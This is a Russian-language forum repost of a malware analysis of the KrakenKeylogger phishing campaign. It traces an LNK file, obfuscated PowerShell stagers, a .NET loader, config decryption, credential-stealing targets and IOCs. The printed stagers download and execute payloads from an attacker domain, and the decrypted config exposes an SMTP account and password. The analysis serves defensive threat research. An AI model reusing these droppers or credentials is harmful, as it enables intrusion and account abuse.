D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Оригинал - hxxps://0xtoxin.github.io/malware%20analysis/KrakenKeylogger-pt1/#kraken-configs
Спойлер: Содержание
Вступление
Фишинг
Анализ LNK
.NET Загрузчик
Резюме
Часть 2
Вступление
В первой части мы рассмотрим недавнюю фишинговую кампанию, в рамках которой была доставлена неизвестная ранее вредоносная программа "KrakenKeylogger".
Фишинг
Письмо, отправленное жертве, является обыкновенным вредоносным письмом с прикрепленным архивом:
Архив представляет собой
Анализ LNK
Инструмент LEcmd
Для анализа файла
Сценарий PowerShell'а
Давайте рассмотрим сценарий:
Код: Скопировать в буфер обмена
Сценарий создаст новую строку, которая будет URL'ом для следующего payload'а. Сценарий возьмет обфусцированную URL строку и деобфусцирует ее в несколько этапов:
Python: Скопировать в буфер обмена
se1.hta
Полученный payload будет представлять собой еще один сценарий powershell'а:
Код: Скопировать в буфер обмена
В сценарии есть несколько обфусцированных строк, которые деобфусцируются с помощью функции
Python: Скопировать в буфер обмена
Код: Скопировать в буфер обмена
Сценарий загрузит другой файл с того же домена, который ранее использовался для получения файла .hta в предшествующем сценарии powershell'а.
.NET Загрузчик
Этап 1
Найденный исполняемый файл (
Загрузчик расшифрует встроенный ресурс
Вы можете использовать данный рецепт для CyberChef'а, чтобы легко вычислить хэш MD5. Затем, воспользовавшись расшифровкой RC2 в CyberChef'е, мы также сможем извлечь данные 2-го этапа:
Этап 2
Второй этап - это .NET DLL, которая будет вызвана исполняемым файлом из первого этапа.
DLL будет вызвана своим первым публичным экспортируемым методом, которым является
Во второй незнакомой DLL будет 2 встроенных ресурса, которые будут расшифрованы, первый -
Второй ресурс
Как я уже писал выше, payload будет внедрен в
Payload Kraken'а
Payload Kraken'а -
Конфигурации Kraken'а
Конфигурации Kraken'а хранятся в
Некоторые параметры зашифрованы с помощью алгоритма шифрования
Python: Скопировать в буфер обмена
Код: Скопировать в буфер обмена
Итак, теперь у нас есть конфигурация Kraken'а, давайте перейдем к обзору некоторых возможностей:
Пользовательские команды
Kraken имеет несколько функций, которые могут выполняться (только если пользователь вредоносной программы указал их в процессе компиляции стаба), к примеру:
Ничего особенного здесь нет, вероятно, некоторые методы закрепления/проверки VM.
Возможности по сбору данных
Kraken действует привычным способом кражи данных, похищая учетные данные локальной почты Outlook, Foxmail, ThunderBird.
Он будет искать учетные данные в данных браузерах:
Эксфильтрация
Kraken позволяет осуществлять эксфильтрацию через:
SMTP
Telegram Bot
Действия после эксфильтрации
После завершения процесса кражи Kraken автоматически запустит процесс кейлоггера + захват скриншотов с компьютера жертвы:
IOC's
В данном посте я рассказал о новой вредоносной программе для кражи данных/получения нажитий клавиш на базе .NET, о том, как она была использована в фишинговой кампании, а также о процессе загрузки/внедрения, включая обзор возможностей вредоносной программы и извлечение конфигурации.
Часть 2
Во второй части я расскажу о процессе поиска угроз, о том, почему вредоносные программы были помечены ошибочно, и как мне удалось найти больше образцов, которые позволили подтвердить мои выводы.
Спойлер: Содержание
Вступление
Фишинг
Анализ LNK
Инструмент LEcmd
Сценарий PowerShell'а
se1.hta.NET Загрузчик
Этап 1
Этап 2
Payload Kraken'аКонфигурации Kraken'а
Пользовательские команды
Возможности по сбору данных
Эксфильтрация
Действия после эксфильтрации
IOC'sРезюме
Часть 2
Вступление
В первой части мы рассмотрим недавнюю фишинговую кампанию, в рамках которой была доставлена неизвестная ранее вредоносная программа "KrakenKeylogger".
Фишинг
Письмо, отправленное жертве, является обыкновенным вредоносным письмом с прикрепленным архивом:
Архив представляет собой
.zip
архив, содержащий .lnk
файл:Анализ LNK
Инструмент LEcmd
Для анализа файла
.lnk
я использую инструмент LeCMD. С помощью этого инструмента мы можем увидеть, что .lnk выполняет PowerShell.exe
вместе с аргументом:Сценарий PowerShell'а
Давайте рассмотрим сценарий:
Код: Скопировать в буфер обмена
Код:
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted $ProgressPreference = 0;
function nvRClWiAJT($OnUPXhNfGyEh){
$OnUPXhNfGyEh[$OnUPXhNfGyEh.Length..0] -join('')
};
function sDjLksFILdkrdR($OnUPXhNfGyEh){
$vecsWHuXBHu = nvRClWiAJT $OnUPXhNfGyEh;
for($TJuYrHOorcZu = 0;$TJuYrHOorcZu -lt $vecsWHuXBHu.Length;$TJuYrHOorcZu += 2){
try{
$zRavFAQNJqOVxb += nvRClWiAJT $vecsWHuXBHu.Substring($TJuYrHOorcZu,2)
}
catch{
$zRavFAQNJqOVxb += $vecsWHuXBHu.Substring($TJuYrHOorcZu,1)
}
};
$zRavFAQNJqOVxb
};
$NpzibtULgyi = sDjLksFILdkrdR 'aht1.sen/hi/coucys.erstmaofershma//s:tpht';
$cDkdhkGBtl = $env:APPDATA + '\' + ($NpzibtULgyi -split '/')[-1];
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;
$wbpiCTsGYi = wget $NpzibtULgyi -UseBasicParsing;
[IO.File]::WriteAllText($cDkdhkGBtl, $wbpiCTsGYi); & $cDkdhkGBtl;
sleep 3;
rm $cDkdhkGBtl;
Сценарий создаст новую строку, которая будет URL'ом для следующего payload'а. Сценарий возьмет обфусцированную URL строку и деобфусцирует ее в несколько этапов:
- Строка будет перевернута с помощью функции
nvRClWiAJT
. - Цикл for будет итерировать перевернутую строку и перескакивать через каждые 2 символа.
- На каждой итерации 2 символа будут снова перевернуты, а на заключительной итерации последний символ будет также перевернут, однако это не даст никакого эффекта.
Python: Скопировать в буфер обмена
Код:
input_string = 'aht1.sen/hi/coucys.erstmaofershma//s:tpht'[::-1]
output_string = ''
for i in range(0, len(input_string), 2):
try:
tmp = input_string[i] + input_string[i + 1]
output_string += tmp[::-1]
except:
output_string += input_string[i]
print(output_string)
https://masherofmasters.cyou/chin/se1.hta
se1.hta
Полученный payload будет представлять собой еще один сценарий powershell'а:
Код: Скопировать в буфер обмена
Код:
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted
function WQgtWbWK($FL, $i){
[IO.File]::WriteAllBytes($FL, $i)
};
function APcZNMgjQ($FL){
if($FL.EndsWith((QXUpF @(4995,5049,5057,5057))) -eq $True){
Start-Process (QXUpF @(5063,5066,5059,5049,5057,5057,5000,4999,4995,5050,5069,5050)) $FL
}else{
Start-Process $FL
}
};
function laiLJMT($eh){
$LM = New-Object (QXUpF @(5027,5050,5065,4995,5036,5050,5047,5016,5057,5054,5050,5059,5065));
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;
$i = $LM.DownloadData($eh);
return $i
};
function QXUpF($P){
$n=4949;
$s=$Null;
foreach($WK in $P){
$s+=[char]($WK-$n)
};
return $s
};
function deaNPih(){
$AVYABiApT = $env:APPDATA + '\';
$XdOFJCmMx = laiLJMT (QXUpF @(5053,5065,5065,5061,5064,5007,4996,4996,5058,5046,5064,5053,5050,5063,5060,5051,5058,5046,5064,5065,5050,5063,5064,4995,5048,5070,5060,5066,4996,5048,5053,5054,5059,4996,5064,5050,4998,4995,5050,5069,5050));
$qNfQDXYlR = $AVYABiApT + 'se1.exe';
WQgtWbWK $qNfQDXYlR $XdOFJCmMx;
APcZNMgjQ $qNfQDXYlR;;;;
}
deaNPih;
В сценарии есть несколько обфусцированных строк, которые деобфусцируются с помощью функции
QXUpF
, для чего нужно просто перебрать каждое число и вычесть из него 4949
. Ниже представлен короткий сценарий, который деобфусцирует эти строки и выведет их в открытом виде:Python: Скопировать в буфер обмена
Код:
stringsList = [[4995,5049,5057,5057],[5063,5066,5059,5049,5057,5057,5000,4999,4995,5050,5069,5050],[5027,5050,5065,4995,5036,5050,5047,5016,5057,5054,5050,5059,5065],[5053,5065,5065,5061,5064,5007,4996,4996,5058,5046,5064,5053,5050,5063,5060,5051,5058,5046,5064,5065,5050,5063,5064,4995,5048,5070,5060,5066,4996,5048,5053,5054,5059,4996,5064,5050,4998,4995,5050,5069,5050]]
for string in stringsList:
tmp = ''
for char in string:
tmp += chr(char - 4949)
print(f'[+] - {tmp}')
Код: Скопировать в буфер обмена
Код:
[+] - .dll
[+] - rundll32.exe
[+] - Net.WebClient
[+] - https://masherofmasters.cyou/chin/se1.exe
Сценарий загрузит другой файл с того же домена, который ранее использовался для получения файла .hta в предшествующем сценарии powershell'а.
.NET Загрузчик
Этап 1
Найденный исполняемый файл (
se1.exe
) представляет собой исполняемый файл .NET:Загрузчик расшифрует встроенный ресурс
DataBasePracticalJob
с помощью алгоритма шифрования RC2
, ключом для которого будет хэш-значение MD5 захардкоженной строки QEssDJZhQnLywDnJGpBEr
(интересно то, что хэширование применяется к строке после кодирования ее с помощью BigEndianUnicode
, 0x00
добавляется в виде суффикса к каждому байту). Ниже представлена схема процесса расшифровки:Вы можете использовать данный рецепт для CyberChef'а, чтобы легко вычислить хэш MD5. Затем, воспользовавшись расшифровкой RC2 в CyberChef'е, мы также сможем извлечь данные 2-го этапа:
Этап 2
Второй этап - это .NET DLL, которая будет вызвана исполняемым файлом из первого этапа.
DLL будет вызвана своим первым публичным экспортируемым методом, которым является
syncfusion
:Во второй незнакомой DLL будет 2 встроенных ресурса, которые будут расшифрованы, первый -
SeaCyanPul
будет .DLL
, отвечающая за внедрение финального payload'а в RegAsm.exe
(не буду сейчас вдаваться в подробности, но 3-я стадия будет размещена на Malware Bazaar).Второй ресурс
UnknownDetails
будет нашим финальным payload'ом, который будет расшифрован с помощью простого алгоритма шифрования AES-ECB
без IV, ключом в данном случае будет sha256 пустого значения:Как я уже писал выше, payload будет внедрен в
RegAsm.exe
Payload Kraken'а
Payload Kraken'а -
32-битный двоичный файл .NET
, поэтому мы можем использовать DnSpy
для изучения его функциональных возможностей.Конфигурации Kraken'а
Конфигурации Kraken'а хранятся в
.cctor
главного класса:Некоторые параметры зашифрованы с помощью алгоритма шифрования
DES-EBC
без IV, ключом является MD5
хэш заранее настроенной строки, в данном случае: swCpiTiAhkkEpyDZTnAGhOBZpr
, Ниже представлен короткий сценарий на python'е, который расшифрует строки конфигурации для нас:Python: Скопировать в буфер обмена
Код:
import malduck, base64
from Crypto.Cipher import DES
encryptedStringsDict = {
'PersonalEmail': 'KYlYJirrzmj9NFMzqVxdqqmBPWvogKC9',
'PersonalEmailPassword': 'lNI13bp6TxER2sT4YYxfjw==',
'PersonalEmailHost': '6pvSg6TWhxedDZq2k3/l06fwica30Jlg',
'TheSMTPReciver': 'qUQWGy6wVRm4PKDty97tnE+Z3alydqyP',
'PersonalEmailPort': 'VqONpyzLqFY=',
'PersonalHostLink': 'EdrE+GGMX48=',
'PersonalHostPassword': 'EdrE+GGMX48=',
'PersonalHostUsername': 'EdrE+GGMX48=',
'TheTelegramToken': 'EdrE+GGMX48=',
'PersonalTeleID': 'EdrE+GGMX48='
}
md5hashKey = malduck.md5(b'swCpiTiAhkkEpyDZTnAGhOBZpr')[:8]
for k,v in encryptedStringsDict.items():
des = DES.new(md5hashKey, DES.MODE_ECB)
decVal = des.decrypt(base64.b64decode(v))
print(f'[+] {k} - {decVal.decode()}')
Код: Скопировать в буфер обмена
Код:
[+] PersonalEmail - onuma.b@thereccorp.com
[+] PersonalEmailPassword - O@1234
[+] PersonalEmailHost - mail.thereccorp.com
[+] TheSMTPReciver - jbs.hannong@gmail.com
[+] PersonalEmailPort - 587
[+] PersonalHostLink
[+] PersonalHostPassword
[+] PersonalHostUsername
[+] TheTelegramToken
[+] PersonalTeleID
Итак, теперь у нас есть конфигурация Kraken'а, давайте перейдем к обзору некоторых возможностей:
Пользовательские команды
Kraken имеет несколько функций, которые могут выполняться (только если пользователь вредоносной программы указал их в процессе компиляции стаба), к примеру:
- TimeToRun
- LoadWeb
- Disable_Task
- Disable_CommandPrompt
- Disable_Regis
- ProcessKiller
Ничего особенного здесь нет, вероятно, некоторые методы закрепления/проверки VM.
Возможности по сбору данных
Kraken действует привычным способом кражи данных, похищая учетные данные локальной почты Outlook, Foxmail, ThunderBird.
Он будет искать учетные данные в данных браузерах:
- Google Chrome
- QQ Browser
- Vivaldi Browser
- Chromium Browser
- Cent Browser
- Chedot Browser
- 360Browser
- Brave
- Torch
- UC Browser
- Blisk
- Opera
- Avast Browser
- Edge
- Google Chrome Canary
- Firefox
- CocCoc
- Citrio Browser
- CoolNovo
- Epic Privacy Browser
Эксфильтрация
Kraken позволяет осуществлять эксфильтрацию через:
- FTP
- SMTP
- Telegram Bot
SMTP
Telegram Bot
Действия после эксфильтрации
После завершения процесса кражи Kraken автоматически запустит процесс кейлоггера + захват скриншотов с компьютера жертвы:
IOC's
- Doc signed Subcontract Agreement.zip - 79571f0ad832a31a1121f7c698496de7e4700271ccf0a7ed7fe817688528a953
- seedof.lnk - beec3ec08fba224c161464ebcc64727912c6678dd452596440809ce99c8390fd
- 1st.exe - dddaf7dfb95c12acaae7de2673becf94fb9cfa7c2d83413db1ab52a5d9108b79
- 2nd.dll - f7c66ce4c357c3a7c44dda121f8bb6a62bb3e0bc6f481619b7b5ad83855d628b
- 3rd.dll - 43e79df88e86f344180041d4a4c9381cc69a8ddb46315afd5c4c3ad9e6268e17
- Kraken.exe - ee76fec4bc7ec334cc6323ad156ea961e27b75eaa7efb4e88212b81e65673000
В данном посте я рассказал о новой вредоносной программе для кражи данных/получения нажитий клавиш на базе .NET, о том, как она была использована в фишинговой кампании, а также о процессе загрузки/внедрения, включая обзор возможностей вредоносной программы и извлечение конфигурации.
Часть 2
Во второй части я расскажу о процессе поиска угроз, о том, почему вредоносные программы были помечены ошибочно, и как мне удалось найти больше образцов, которые позволили подтвердить мои выводы.